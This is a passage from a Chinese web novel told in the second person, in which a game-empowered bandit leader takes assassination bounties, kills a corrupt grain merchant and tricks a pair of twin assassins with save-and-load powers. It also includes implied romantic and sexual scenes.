同时报酬也和刺杀难度有关。档案中记载,黎肃夜里睡觉是睁着眼的那种人。真实程度另说,他的警惕性可见一斑。 点击【确认】键。 使用【寻途幡】,输入黎肃的名字,屏幕中便出现箭头指路。 小人找来车马,你解除【挂机】,用手柄操纵Q版形象往关内前进。 方向杆长时间朝着同一方向,触发了加速功能。很快你就到了目的地,借用变身道具隐藏行踪——神不知鬼不觉把黎肃杀死。 人头带走去领赏金。 临走前,你搜刮了他的寝居,额外带走一些宝贝。 然而不知去哪、找谁领赏。 你又使用【寻途幡】,输入“领赏之地”,就有箭头带着你走。 整个过程十分顺利,黄金三百斤被你带回青牙山。 你的部下,尤其邱生热烈地为你接风。他深知你养活了整个山寨与部曲,对你的崇拜体现在方方面面。 要如何回报伟大的寨主、殿下、主上呢? 他开始按照你的喜好,给你物色少年男子。 带到你面前几个,被你拒绝了。 他们都不情愿,且姿色差于陈珣、柳玄,你没有兴致周旋。 而且你还忙着赚钱,把之后列表里的刺杀任务都接下来。 将要出发。 【陈珣发出了侍寝请求】 【柳玄发出了侍寝请求】 【同意】 【同意】 两个按键、黑屏几秒的事。 你滑动方向杆。 【柳玄发出了侍寝请求】 是空太久了? 【同意】 黑屏几秒。屏幕里的小人保持着手牵手的状态。 你以为结束了。 【柳玄发出了侍寝请求】 【柳玄发出了侍寝请求】 【柳玄发出了侍寝请求】 他没事吧? 除了健康值低以外没有异常。 那是游戏卡住了? 【模式切换】 身临其境的瞬间,之前同意的几次侍寝都作用到你的身体上,腰一瞬变软。 “主上……” 柳玄从床尾抬头,修长如玉的手指轻拭唇角的水光。 你还没见过这样的他。 眼眶泛红,却不见泪意。胸腔呼动,臂膀的肌肉抽紧。 “再来一次吧。” 他已经到了极限。 你有话直说:“我觉得你不行了。” 柳玄动作一顿,道了句无妨。下床趿拉着鞋,从散落在地的外衣里找出药包,拆了一副倒进嘴里。 你愣愣看着。他浑不在意地用水将药粉顺下去,坐在桌前。 看似冷静,实则酝酿。 “……你怎么了?” “我好了。” 他朝你步来,跪着将你分开。 你忙推他的腹部向后,摸不着头脑。 “你在生气?” “生气吗?不知,应是不敢,我岂敢对主上生气,又为了什么生气……” 他执你的手,轻柔抚着手背。 “主上这次要走多久?不该告诉您的,钱再多又能怎样,没了您,一切的筹划便都如东流的灰烬……” “没事,杀完人我就回来了。” 你以为就此收场,柳玄突然将你手扣在一处。 “原来如此。” 他顿悟了什么? “主上,” “您今日为何先应陈公子的约?”? “若先应我,” “以后先应我……” …… 连着几回,状态越来越好。 后半程他的药效上来,人没了力气,再控制不住,幼猫般轻哼。 “我不要了。” “离我远些……心跳好快,像要死了。” “不会死的。”你安慰他,归拢他被汗水濡湿的鬓角,“寸术找到了吗?” 他推着你的肩膀,推到一半,又往他的方向勾。 “找到了,他无意主上……” 还是推你。 你握住他的手腕:“威逼利诱,得让他来咱们这边。” “是。” 他笑:“主上……名声不好。” 你与他分开,擦身体。 “山匪出身,又做打家劫舍的营当,也好不到哪去。” “不是这个……” 他帮你洗了洗手帕,递过来。 “外边有风声,说主上是色魔,召名士只要容貌,留在身边是为了男女之事。” “寸医师大概不敢应主上的请。” “……” 你没有反驳,传言有七成正确。 你确实看脸,好看的部下你会试着睡一下,但最终目的还是为了大局,不是睡睡就够了的。 寸术。 “我见过一次寸医师,他容貌是不错。比你冷些,浓郁些,比陈珣清淡些,锐利些。” □□的人,黑发搭到床榻上,听到你的话,抬起幽暗的双眼。 从你手中接过擦身体的帕子,他重复洗了一遍,清洁自己。 “以后再有这事,主上不必将想法告知我。” “你不感兴趣?” “我是生气。” “……” “我也知道,您不可能理会我的怒气。我于主上,不过是扁舟于江水。您渡我,却不会留我。” “我渡你了?” 他道:“您渡了青牙山里的所有人。” “……” 你拿枕头躺。 “那我应该是一处繁忙的海峡,有许多小船经过我。” 察觉到柳玄发愣的视线,你拍了拍另一半枕头。 他缓慢地躺到你身边,越过你抓起床里侧的被子,将你和他都盖住。 又分开。 只盖住你一人。 第125章 苏万, 粮食贩子。乱世养出的富商,倒卖粮食为生。近年愈发漫天要价,因是必需品, 还是有地方诸侯愿挨。 临江坞的人买了他的粮食, 发现绝大部分发霉。当面对峙, 苏万矢口否认,反污蔑临江坞想赖他的粮。 刺杀他, 可获赏两千九百两黄金。 此人惹众怒,赏金是多方凑齐汇总的数额。之后需要提着他的人头在中原各地走上一圈,才能把钱领完。 总之很麻烦。 你把即将上宴跳舞的舞女锁在卧房, 用道具变作她的样子, 在袖中藏了两把短剑。 宴会上正奏丝竹。男男女女欢笑的声音传出了木窗,烛灯将他们的影子放大, 皮影戏般印到窗纸上。 侍从探身叫你:“进去吧。” 你俯首,端着步子往里走, 一直到上座之下。 “见过府君——” 苏万哼笑:“去去,跳舞。让兄弟们都看看,长安的舞姬是……” 你两手握剑冲去。 刀刃割断他的脖颈,头颅滚地, 鲜血如柱般喷溅。 宴中大乱。喊叫亲卫的人、大声呼救的人、跃跃欲试杀你的人, 比比皆是。 你不作理会, 快步到头颅前,弯腰去捡—— 忽然眼前模糊, 浑身乏力。 头颅在地上晃成六个, 虚影与实体重叠,天旋地转。 一只手从地上捡起苏万的头,拿在手中抛掷一下, 拎着发冠抓握在掌心。 “谢了,好死。” 【检测玩家中毒身亡,请选择读档节点】 你:“……” 谁? 有自动存档的功能在,你拥有一个时间距离很近的存档。就在夜幕降临,你将舞姬锁在房内替代她的时间。 【读取存档】 你首先打开自己的档案查看状态,此时你还未中毒。 按照既定路线往宴会举办的楼阁处走,一路上你都没有收起虚拟面板,时刻盯着自己的状态。 经过竹林,有阵清凉的晚风吹来,你的状况突然转变。 【中毒】 你步入竹林。 园林中栽种的竹子并不算深,一刻的功夫没用上,你就走到了竹林的尽头,没能找到人。 消耗的时间里,宴席上迟迟没等到舞姬的苏万察觉不对,派人出来找,找到了原本的舞女。舞女供出你的事,眼下他们正举着火把满院子搜你。 毒效开始发作。 你使用【寻途幡】输入“下毒的人”,本没抱能找到人的想法,毕竟这个世界每天都有无数人在下毒。 但道具顺从你的心意,明白你的想法,它直接定位出你想找到的人。 箭头指着你面前几米远的距离。你忍着眩晕抬头,只见圆月之下,一个黑影抱臂站在亭子上面。 “发现我了?很不错嘛。” 你定神问:“叫什么名字?” “问我名字?你看上我了?不是没看见我的脸?” “只是问仇人的名字。” “哦,你想留线索让别人帮你报仇。可以可以,你记住了,我叫荀右。去死吧。” 【读档】 你在导航道具里输入荀右,随手把舞女房门的锁打开。宴席的歌舞顺利进行,就不会出现乱子打扰你寻仇。 沿着地上的箭头追逐。起初还是正常的路,走了一段距离,箭头开始向上指引你飞檐走壁。 于是你用道具变成麻雀,飞到一定的高度,箭头的方向变得平整,平行于地面,高度在楼阁屋顶。 这人是杀手,和你抱有同样的目的,为钱去杀苏万。 谁先杀都无所谓,领钱的只能有一个人。所以在你杀了苏万,或者杀苏万之前,对方想要先杀死你。 没什么不行。 只是他也得做好被你杀死的准备。 路线的末端,你看到了月下的黑影,遂加速飞到他面前,解除道具状态。 圆月的清辉将他的眉眼照得清楚,单看这部分是美人。宽肩窄腰,身材也不错,轮廓线条很好看。 因你的出现,他眼睛微微瞪大,不等你拔剑去杀,脚下踏空,你和他一起从树枝上坠落下去。 “……” 他怎么待在这种地方? 而且。 你反应过来一件重要的事。 你与他如今身处府外。 但在之前的存档里,“荀右”应该在竹林里埋伏,给你下毒才是。 他用了假名。 或者他的轻功真的出神入化,能在须臾之间挪出这么远的距离。 你摔到对方的身上,又及时关了痛觉,并没有什么激烈的感觉。 名叫荀右的蒙面黑衣人眼睛蒙了一层月光,盯着你许久不动。 “是你啊。” 他悠悠道。 声音熟悉,加上他这身打扮,即便之前没看清他的长相,这一次也认得出来。他就是之前阿荆去杀男主时,顺手帮过忙的那个刺客。 今夜要杀苏万的人有这么多? 你从地上撑身,站到一旁检查自己有没有受伤。和你一起检查的还有另一双手。 荀右很不见外地用他那冰冷带有薄茧的手摸你的脸、肩膀、手臂,一直到手。 “是人啊。” “所以这是什么本事?你是神仙?” 他思忖着:“难道青牙山那条龙是真的,不是骗子?” 下毒杀你的人不是他。 你不再浪费时间,导航道具中输入“下毒的人”。 搜索结果为空。 你想找的那个人,这次不准备下毒害你。 你打算进府找人或杀人。 府内突然燃起火光,仆人大声吵嚷着救火。 悬赏任务的窗口消失。 苏万死了,是那个人下手。 没有读档重来。 你学习那人的思路,谁杀苏万都一样,只看最后是谁拿到人头领赏。 你在导航中输入“苏万”,想了想,不够严谨,于是输入“苏万的头”。 箭头引路,与你相反的方向,在府墙的另一侧。杀了人,那人往城郊逃窜。 你快跑几步,荀右隔着袖子拉你手腕。 “去哪?” 不想跟他废话。 你用道具变成麻雀,自他手中逃脱,径直朝目的地飞去,无意回头,发现荀右飞在檐上一直跟着你。 他竟然跟得上。 你有意朝难走的方向飞,他也没被你甩下。 “去哪?” “你的肉吃了,能长生不老吗?” 说话间,有暗器朝你掷来,你侧身在空中躲过,他在一个个屋顶上穷追不舍。 “红烧?” “清蒸?” “还是拔毛烤了?” “喂,你喜欢被怎么做?” “……” 你更换形象,把自己变成隐形的麻雀。 隐形之后,荀右飞窜在屋顶的动作停顿,茫然从蹲在屋顶的姿势直立,站到月下。 “喂!去哪了?” “我不吃你,出现吧!” 一路按照箭头追踪,拎着苏万头颅的人走得累了,在河边歇脚。 他大手大脚将外袍甩到地上,手中头颅咕噜噜滚过去,鞋尖挑起外袍的衣角,将头颅粗略包裹在里面。 “两千九百两,今晚我俩一起睡喽!” 头颅没有回应他。 他接着脱衣服,蒙面的帕巾随风飞走,光溜溜下到水里洗澡。 河水漫过他的小腿。 先是沉到水底,随后憋气翻身浮到水面,轻声唱歌,无比快意地仰望黎明近时的月亮。 鸟形无法拎走苏万的头,你在草丛后撤销道具效果,轻手轻脚地往包着头的黑衣方向走。手要碰到,清亮的少年音响在耳边。 “有小偷啊。” 你的衣着是寻常官宦小姐的打扮。青衣蓝裙,头上束着简单的发髻,别了两朵珠花。 他身上则带了河水的气息,水滴哒哒滴落,近在耳畔。 “做坏事可是要受到惩罚的。” 他要下毒。 转身,你对着他胸口,风吹过,樱桃般的颗粒明显起来,背景是没有干透的少年男子的身体。 他身上连衣服都没有,理论上不会有地方放毒,除非在他的血里。 你向上盯他的眼睛。 他和荀右长了一样的眼睛。这样短的时间,你不会记错样貌。 虽然不知道荀右面巾之下的脸,但凭直觉,他们的鼻子和嘴唇应该一模一样。 提示人名的透明框在黑天看不清楚,你到虚拟面板中手动调整背景颜色,底色一变,男人的名牌渐渐显现出来。 荀左。 兄弟,双胞胎的可能性大些。性子相近,不知道有无其他的区别。 荀左杀人,荀右也在,兄弟俩一伙。你就算把头抢走,之后去领赏也要被他们捣乱。 不如等他们把钱都领到手,再抢走。 心里有了主意,你淡定道:“我没偷东西。” “荀右,不是你让我给你洗衣服的吗?” 荀左愣了下,目光探究:“我?” “你让我在这等你,说领了钱带我走。还欺负我,让我洗你的臭衣服。” 荀左沉默一瞬,笑开:“是啊。” 他从地上捡衣服,把裤子穿好,多余的衣服交到你手里,笑嘻嘻的。 “好了,去洗吧。” 你不动声色接到手里。他的衣服上湿了一片,闻着味道是血,应是苏万的血。 你蹲到河边,把衣服扔到河里,一动不动看着它们飘走。 荀左呵笑一声,到下游把衣服捞回来,重新摆到你面前。 “怎么不洗啊?” 你随兴演戏,装成与荀右有情。 “你真让我洗?我气着呢。” “气什么?” “气你怎么能让我给你洗衣服。你蹲下来,我可以陪你洗,但绝不能为你洗,我娘说不能给男人开这个头。” 荀左寻思一会儿,盘腿坐到你旁边。他洗自己衣服动作熟练,本来也打算要洗,是你的出现打扰了他洗澡。 就着河水揉搓衣服,他侧头瞄你几眼,试探着说:“你想去哪啊?” 你道:“不是约好了要去哪?你忘了?” 荀左不动声色:“我当然记得,不是怕你临时变卦么。” 天际泄出一片亮光映照在水面。他很快把衣服洗完,拧干水远远扔到树枝上搭着。 第126章 天彻亮前, 你靠在树干上睡了一觉。 空气潮寒,朝露湿润润浸透衣服,不是很舒适的环境。关闭痛觉以后, 对世界的感知消失, 依然无法让你安心入眠。 所以你只睡了很短的时间就睁开眼睛。 微冷的光线下, 你的面前,几寸远的距离是荀左的发顶。白日的他不再是那副夜行打扮, 虽也是黑衣,高束着马尾,却与刺客的身份遥不相及, 只是美貌的少年人。 他明知你醒了, 搜身的动作却没停,在衣襟等藏得住东西的地方仔细搜索, 检查你的随身物品。 是寻常百姓身上会有的东西,钱袋手帕之类。 本该打消怀疑。 但你说, 你来是要和荀右私奔的。 都要私奔了,却不带行李,连路引都没有,这算什么私奔? 他和弟弟行刺永远绑在一处, 荀右去了哪, 认识什么女人, 他了如指掌,不可能凭空冒出一个意中人。 荀左笃定, 你是奔着苏万头颅来的善于伪装的坏女人。 他抬起视线, 长睫眨动,含笑与你相对。 “醒了?” 你“嗯”了声,手搭在他肩膀上, 向下滑去。 他抓你的手腕:“干嘛?” 你道:“不是你先摸我的?我要还回来。” 荀左一味地注视你,喉结动了动,似乎在想跟你说什么。 最后化为一句:“谁摸你了?翻你衣服就叫摸了?” 你眼神变得古怪:“……你今天很不对劲,你是荀右吗?” 荀左按了下你的肩膀,后退起身,头发扫到了树叶,摇了摇头,将扰人的叶子甩走。 “我不是荀右还能是谁?” 存档。 左、右,谁会是哥哥? “荀右跟我说过,他有一个双生哥哥,叫左,是你吗?” 你严肃表情:“我认错人了?如果是的话,对不起。我这就去找荀右。” 荀左意外地看你。 他没想到你知道这件事。 在世人眼中,他和荀右是一体。有另一个人和自己长得一模一样十分方便,尤其在杀手这行,可以凭借营造假象、时间差干掉目标对象。 他和荀右没跟别人说过有兄弟的事。在外面他们只有一个名字,叫荀刃。 因为这个,他才会在你口中听到荀右名字时相信了你。 都把真名告诉你了,还约在他们接头的地方,说不定是荀右在外面喜欢的女孩。 但他冷静下来想了想,还是觉得不可能。 荀右哪来的时间认识姑娘。他们之前忙着杀人,在外连轴转,除了听他说起遇见个会变戏法的女人,就没听他说过其他。 可是,眼前的人还知道荀左的存在。 保命的底线,不是十足信任的人,说出去就等于把自己的命卖了。 荀左思来想去,轻轻一笑,弯腰与你平视。 “我就是荀右啊,想你了就摸摸你。你怎么把我认成我哥了,好伤心。” “……” 很会翻脸。 “来吧来吧。”他攥你的手往他身上放,“想摸哪就摸哪,我最爱你了,你爱不爱我啊?” 你抽手瞪他:“那你刚才装凶对我?” “玩笑嘛,你再跟我对两句,我就亲你了。” 你松了口气,明显安心下来,仿佛你口中的那个荀右就是这样跟你相处。 荀左得意于对弟弟的了解,嘴角才勾起来,就被你点吻一下。 他僵在那。 你站起身,无事发生般活动筋骨。 打开刺杀任务列表,输入导航,看到领赏地点。 第一处报酬在襄城,周氏族长,苏万发霉粮食的最大受害者。 “我们今天就去襄城吗?” 连襄城都知道。 弟弟怎么什么都跟你说啊。 “今天去。” 他翻袖看了眼身体里的蛊虫。双生蛊,同生共死,师父在他们身体里埋的,方便被他老人家控制,同时他们也可以根据这个蛊虫判断彼此的状态。 荀右还活得好好的,就是不知在哪耽误住脚步。 他等不起人,入了夏,气候热起来,苏万的头若是腐烂,悬赏的人不认,就又要额外杀人。 “我们先走。” 你站一旁看他打包头颅。不知从哪变出来的包袱,在原本的外衣之外又裹了一层,单肩背到身上。 “先?” 荀左撒谎不眨眼:“不是还有我哥?他出去耍了。我们先在前头走,他很快就能循着我们的踪迹跟上来。” “哦。” 荀左走了一段路,你没有跟随的意思。 他警觉转身,笑:“怎么不动?” 你道:“我倒问你,怎么一个人走不背我。我们之前去外面散心,可都是你背我的。” 语末,放出武器:“你今天真的很奇怪……” 荀左立刻展开笑颜:“玩笑而已,这就来啦!” 他几步用轻功飞跳到你面前,背过身,让你趴到他的背上。你戳了戳包袱里的人头,看着他眼睛:“这个很臭,你想办法,别让它挨到我。” 荀左选择隐忍:“好。” 你亲了亲他的侧脸:“好乖,奖励你。” 他缩脖躲开,跳出几步远,面红耳赤回头。 干什么! “荀右,你今天好害羞,都不像你了。” “……玩笑。” “你还特别喜欢开玩笑。” “呃……” “快把你那个臭包扔掉,来背我吧。” 最终以分运的形式,荀左先把苏万的头送到目之所及的最远距离,再回来背你,来回往返往襄城的方向走。 他用轻刀,毒药,身形轻盈,是功夫极好的那类人。倒不会觉得怎么吃力,就是心理上越来越不耐烦,埋怨荀右怎么还不出现,他喜欢的女孩都快把兄长当狗使唤了。 “荀右,你怎么不把包子馅给我吃?” “荀右,以前我睡觉你都会帮我把头发扇干的。” “荀右,我看上了这个发钗。” “荀右,过来给我擦脚。” “荀右,你很不耐烦吗?不耐烦的话我们就分开,别以为我离开你活不了……你肯听话了?那就跪下来求我原谅你。” 你和荀右平时到底是怎么相处的! 在荀左被折磨得快疯了时,你们到了襄城。有正事要办,你被他留在客栈,他自己去周氏领赏金。 没人折腾,你闲的无聊,通过档案查看青牙山的状况。 一切都在柳玄等人的操持下稳步进行。拿到这两千九百两,你就要回去打樊阳关了。 真正坐到统治者的位置,手里需要做的事就变得很少。你并不担心自己不在,回去以后失权,留在山寨的都是你信得过的人。 寸术神医被柳玄打动,来到了青牙山,正为阿荆治疗痴傻之症。 你打开阿荆的档案,发现她每天痴傻的时间短了很多,清醒状态能一直维持到天亮后两个时辰。 因为知道阿荆对你的重要性,何余等人十分善待她,常常叫女官去照顾她。 对于柳玄的身体,寸术表示不必用药。是药三分毒,柳玄身弱,却不算什么不足之症,长此以往于寿数无碍,强行恢复身体精力,反而会让他短命。 这些话在邱生的档案中记载,对他影响很大。他胆子小,之前稍有不适便要用药,听到寸术这话以后,他对药开始斟酌起来。 有男子经过,见你一人,微笑过来搭话。 你专注看档案里部下身边发生的事,没搭理他。此人依然厚脸皮坐到你这张桌,点了好茶来喝。 “不知小姐芳名?年岁几何?尝尝这茶,上好的……” 你接了茶喝,没觉得有什么特别,招呼店员拿蜂蜜过来加进去搅拌。 甜了以后才变得好喝。 “新奇的喝法,小姐介意我也喝来尝尝吗?” 你把蜂蜜推给他。他有意来接,手包裹住你的。 “小姐……” “啪。”清脆有力的一声巴掌响。 这声响把你从【人物档案】里拉出来,望向慢了一步回来的荀左。 “想不想死啊你?” “不、不想!”男子捂着被打痛的脸,潸然离场。 荀左撩了衣摆,坐到方才那外来男人坐的位置,面色愤然。 “你怎么随便跟人拉手的啊!你对得起我吗?” 他只有一瞬间想起了弟弟,更多浮现在眼前的是他这一路上的苦与累。 他付出那么多,为你做了奴才,随叫随到,半点脾气不发。 你却负心,竟然背着他与别的男人谈笑风生! 你对不起他!荀右其次,你首先对不起他! 你不以为意:“我也没干什么。” “你干得可多,你给他喝蜜水,还让他碰你的手……笑什么!” 你微笑着捧起他的手,用脸贴了贴。 对上他明显愣怔的眼,你道:“我以后会注意的,你别生气了。” “……” 他表情不对,把手抽出来,呵呵笑了几声,也不计较,攥住方才那人的茶盏仰头喝尽。 “我没生气啊,谁说我生气了。” “不生气?你不在乎我。” “啊,呃,那我生气。” 你把桌上的花生盘拿他面前:“给我剥。” “好。” “剥得好就亲你。” 花生壳被他捏碎。 另一边。 荀右不信兄长扔了他独自离开,还在离州搜寻他的去处。 “你,就是你,见过我吗?” 背着柴的小孩茫然。 他撇了撇嘴,“去,回家玩吧。” “哎,你见过我吗?” “见过。” “在哪见过的?” “不就在这吗?问的什么话,脑子有病吧。” 荀右很郁闷。 他谁都没找到。 仇家遇见两个,都杀了。 从别人口中听说苏万的死讯。 是荀左杀的吗?他如今在何处? 从蛊虫的状态看,他还活着,过得不错。以兄长的身手,倒也不需担忧他的安危。 但是他到底去哪了?去襄城应该等他一起才对。 城门三两走着百姓,口中闲聊。 “去哪啊?” “要往江北去。” “投靠顾氏还是陈氏?” “我们家要去青牙山投奔乐王殿下。” “乐王……那条白龙?” “可别这么说,那是咱们的救世主呢。” 救世主。 荀右讥讽地咀嚼这个词,手中无聊地甩着剑。 不管了。 去襄城等荀左。 不管他现在在做什么,之后一定会拿着苏万的头去换钱。 第127章 孟城。 穿行过湖, 雨滴压晃挺放的粉荷,连绵不绝的青山作远幕。 天上叠了厚重的云层,预示将有一场大雨。风停水静, 世间万物做好迎接的准备。 荀左一身黑衣走在前, 边走边在手里调药。精巧的瓶身夹在指缝间, 十指并用,熟练地按照心里的配方倒置。 他需要制一种师门秘药, 用来延迟头颅腐烂以及除味。 分神问:“今晚想吃什么?” 没听到你回答,心里咯噔一下,他收了手里所有东西进背包, 转身。 只见你被他远远落在桥中, 正出神望着零落的荷花。 荀左憋一口气走到你身边,挨着你在桥上坐下, 心里惊异自己为什么没发现你的动向,面上不显, 装成十全十美的恋人。 “喜欢看?” “嗯。” 他环视一番,觉得处处平常,看不出什么让人喜欢的地方。 “你要是喜欢花,找个天气好的日子出来, 天晴时花颜色更鲜亮些。” 他没说什么自己陪你的话, 这份邀约是给荀右准备的。 你道:“阴天有阴天的风景, 不一样的。” “是吗,我只觉得快要被雨淋了。” “那我们回去?” 你站起身, 荀左握你的手, 稳你在原位后,若无其事把手松开。 “你看你的,偶尔被雨淋一次也没什么。” “我看完了, 走吧。我也不喜欢浑身湿乎乎的感觉。” 到客栈,才定房间,外面的雨就下了起来。 店家念叨你们的好运,吩咐伙计带你们回房。 你和荀左这段时间都是分房睡。 但因这场大雨,路上行人来住店的增多,老板亲自来你房中商量,问你和荀左关系,能不能行行好,给他们让出一间空房。 你觉得无所谓。 荀左沉默片刻,瞥你的脸色,为了不被你怀疑,也答应了下来。 他带着他的那兜行李来到你的房门口。尽管他竭尽全力装作自然的样子,你也能看出他的尴尬和无所适从。 雷声过后,雨齐刷刷响着。你拆了头发,手指松了松发根,到窗边望了眼外面的雨,已经在地上积出水洼。 窗子关紧,挡住湿潮的泥土气息。你走回梳妆台,将梳子放下。 “荀右,把你那个包放到门口,很臭,离咱们睡觉的地方远些。” “嗯。” 他依言照做。去到了门口,就地坐下,没有再回来的意思。 偶尔亲一下,不是他主动,也已经是天诛地灭的恶事。 要是让荀右知道兄长和恋人睡在一张床上……无法解释,总之影响他们的感情。 还是不要,他不敢了。 他越来越后悔当日认下自己是荀右的事。若是当时没起坏心,告诉你他是荀右的兄长,两边正常相处,或许就不会这么难收场。 你装作没留意他的动向,上床盖好被子,将床帘拉上入睡。 他不过来正好,床和被子还是一个人用舒服。 可烛光隔着床帘也照得进来,你到底睡不踏实。睁眼时,荀左面无表情立在你的床边。 窗外骤然闪起白光,照亮一瞬他的侧脸,将他的轮廓明显起来。 “干什么?” 荀左笑,“我和你一房住,你就自己睡了?” 你回望他,神情自若:“我们以前就是这样的。” “我们以前有过在外过夜的时候?” 荀左能问的出这个问题,说明他对荀右的行迹十分了解。 存档。 你选择用问题应付问题。 “我不自己睡,难道要跟你发生什么吗?” “?” 你上下打量他,叹气。 “不知是不是在一起太久的缘故,我现在对你的身体一点兴趣都没有。总觉得比以前乏味很多。” ……乏、味? 荀左哼笑出声,死沉着脸脱鞋上榻。 “没兴趣了?没兴趣之后日子怎么过?” 你视线追随着他,看着他翻手将床帐撩起,蜡烛的光打在他身上。 “你好好看看,我难道不比之前有看头?” 清瘦薄肌,是有看头。 但你打了个哈欠:“看不清楚,我困了,早点睡吧。” “……哎,你……先别困,你看看我啊……” “好了,你比之前有看头。” 彻底怒了。 “你看都没看!就差那么多?” 你做出忍无可忍的表情:“你到底想干什么?” 荀左正郁闷,见你发火,心里愈发不好受。 他也不知道是怎么了,因为自己的身材被你否定?否定不是应该的吗?你更喜欢之前荀右的身体才是理所当然,因为你和荀右是一对,和他不是。 你还在等他的回答。 他被纷乱的心绪搞得心烦。 “不知道。” “你是想行房吗?” 意识到你在说什么,荀左愣在那,眸色与夜般幽深。 他的默许被当作答案。 你气恼道:“想做就直说,你闹什么?我现在很生气,你下床去,不许你碰我!” “……” “我要睡了!” “……” 荀左无言下床,脑子里都是你刚刚提的那两个字。 床帐之外被雨声淹没。 “把灯吹了。” “哦……”他起身吹灯,灯灭,房内只有苏万的头在包袱里望着他。 没了睡床的资格,他抽出梳妆台的椅子坐下,仰头靠在椅背上。 长夜如倾豆。 第二日清早,雨依然没有停下。 你与荀左冷冷清清洗漱,这是他领第二份酬金的日子。 吃过饭,他报了一声回来的时间便走。 你拉他手:“生我气了?” “没有。” 荀左不太自然。 他光是看着你,就会回想起“行房”这两个字。你能这么自然地从嘴里说出,一定和荀右做过许多回了。 他想象得到你和弟弟纠缠的样子。 他不是很舒服。 不知是因为弟弟在外面兽性大发,还是你切实属于另一个男人。 “是你先闹我睡觉的,你要怪我?” 荀左抬手揉了揉鼻子:“没人怪你。” 你伸手抱住他:“那你早点回来。” 他将手在你身后收拢:“很快的,天黑前我就回来了。” 外面下雨,你便留在客栈里休息,通过档案远程关注青牙山的状况。 门吱呀呀响起,你听到水滴到木地板的声音。 “回来了?” “这次怎么——” 同样的黑衣,黑马尾的造型,长相也别无二致。 但眼中的情绪让你认出,这不是早上离开房间的荀左。 而是正经面对面与你打过交道的荀右,他找过来了。 他见过你的面容,而对于你,本存档内并不清楚他的模样。之前见面时,他蒙面穿着杀手的夜行衣。 也就是说,你可以装作不认识他。 “你是……荀右吧?” 你对他友好微笑,拿出长辈的态度:“我叫阿棘,是你兄长的恋人。还没成婚,你可以先叫我的名字。” “总听你哥念叨你,见到面,你们果然长得一模一样。真好呢,世上有另一个自己,这样就不孤单了。” 荀右盯你递过来的茶,端详片刻,勾起唇角:“阿棘。” “嗯。” “我倒是没听过我哥说你,今日见面却倍感熟悉,像是我们之前在哪见过。” 荀右快马加鞭赶去襄城,听说荀左刚刚领了钱离开,依然没有留信等他。 他怀疑他身上发生了什么事。 一路找来这里,经过客栈,店小二见他在雨中踱步,将他热情地叫了进来。 “客官,是早晨出门没带伞吗?我们这里都准备了,你看看哪柄伞的画你喜欢。” 机缘巧合之下,他赶来了兄长落脚的地方。轻车熟路扮演对方,滴水不漏对话,来到房间,见到了意料之外的人。 两个他找不见的人,这段日子竟然聚到一处,还成了眷侣。 你道:“是吗?你之前见过我?我没去过什么地方,这是托了你哥的福,第一次离开江北。” 你拿了帕子给他:“快擦擦吧,身上还在滴水,我找一套你哥的衣裳,你先换了。之后再出去按照你的尺寸买。” 荀右深深望你。 “你跟我哥真是爱侣?” “是。” “撒谎啊?麻雀小姐,你不是来偷东西的?你出现在苏家外面,应该也是和我一样的目的,想杀苏万,但你晚了一步,就追来孟城,要把苏万的头抢走……” 很准的直觉。 一般情况下,这种人不会上当受骗。很可惜,现在不一般。 “麻雀?”你眼神变了变,“你在说什么?你们家不是种田的老实人吗?杀谁?苏万是荀左杀的?” 荀右:“……” “我哥那么跟你说……不对,你在装什么?杀镇北王的那天我们不是就见过?” 他走近几步,雨滴从睫毛上滚落,仿佛要将你整个人包裹起来。 就在这时,你的目光投到他身后。一模一样的脸,同样的黑衣,不同的是他身上背着苏万的头,手中拎着进到楼梯才收起来的纸伞。 同样美丽的容貌,一个是清俊的人类少年,一个好似地狱爬上来的阴森水鬼。 水鬼眼睛朝一旁转去,余光瞥着门口的兄长,想看你心虚的样子。 但心虚的人却是他兄长。 你除了推开他,与他隔开距离之外,并无任何惊慌的表情。好像你说的是事实一般,你和荀左是恋人,你们住在一间房里,而他是那个外来者。 什么情况? “哥,你认识她?和她什么关系?你们是一起来的?” 荀左将他的询问理解成质问,脸色微妙。 “是一起来的。我在河边等你一夜,没等来你,担心苏万的头等不起,就先带她去领钱。” 他把头和金块都扔到他怀里,整个人发蔫。 “你们聊,我去看吃的。” 门一开一合。室内再次只剩你和荀右两人。 荀右皱着鼻子,松手,苏万的头滚地到桌空去。 他拉开袋口,低头拨动金子,默数着数量。 “没想到,你真跟我哥好上了。他知道你的本事吗?” “你到底在说什么?” 他微笑,大咧咧解了腰带,往下脱湿衣服。 “当我什么都没说。” 第128章 雨势犹如拉紧的弦, 其间掺杂着布料摩擦的窸窣声。 荀右拿干布擦拭身体上的雨水,擦到脚时重心不稳,原地跳了跳。 你始终背对着他, 室内本就幽暗, 墨绿襦裙的背影将要隐入灰蒙蒙的雨色。 他盯到你颈后的红痕, 很自然地联想到是兄长在你身上留下的痕迹,鼻腔轻哼一声。 “用得着如此吗, 我与你情郎正反面没差。那个睡得,这个连看看都不行?” “……” 你转回身。 嘴上说把身体给你看的人却穿好里衣外衫,从头到脚捂得严严实实, 头发披散下来, 秀俏俊朗的脸上挂一抹意味深长的笑。 “色鬼。” “让你看你就看?你就是这么喜欢我哥的?” 你望他不语。 他拿着布巾拧头发,暂时算是把自己收拾干净。稍晚些兄长回来, 就由他出去问客栈要热水沐浴。 荀左从房外端了饭,脚踏过门槛, 先在屋里环视一圈,目光在你身上停留,又去瞧荀右。 你们站得很近。 “我要了一碗焖虾,会剥壳吗?” 你昨夜说想吃。 他早上离开, 留钱托店小二买虾, 中午做一盘送来。 剥壳不剥壳的话就不是对荀右说的, 他面上冷笑,率先坐到荀左旁边的位置。 “哥, 你管不管?刚刚我换衣服她偷看我。” 一阵沉默, 荀左面无表情看着弟弟的得意。 打情骂俏? 还是炫耀? 他又看向你,你坐到了荀右旁边的位置,凳子挨得很近, 肩膀都贴着。仿佛没听见他们的话一样,专注剥虾,将虾头干脆利落拧断,修剪得干净圆润的指甲摘着虾壳。 就在昨天,那双手还捧着他的脸。 不要想了。 “以后别说这些,没人好奇你的事。” 他语气冷淡。 荀右脸色也冷了下去。 见色忘义。叙述事实罢了,竟这般袒护。 没想到他兄长也是这路货色,真让他失望。 他端着饭碗起身,脚踹开房门。 “我去外面吃。” 你搭话:“去外面吃雨泡饭吗?” “关你什么事,跟我哥吃你们的。” 门被用力甩上,整面墙都震了震。 无声吃完剩下半碗饭,你起身:“他闹脾气了,兄长别在意,我去看看。” 荀左闷闷把饭咽下,筷子戳了戳饭碗:“管他干什么,爱去哪去哪,你怎么这么宠他。” 你道:“等兄长有喜欢的人就明白了。” 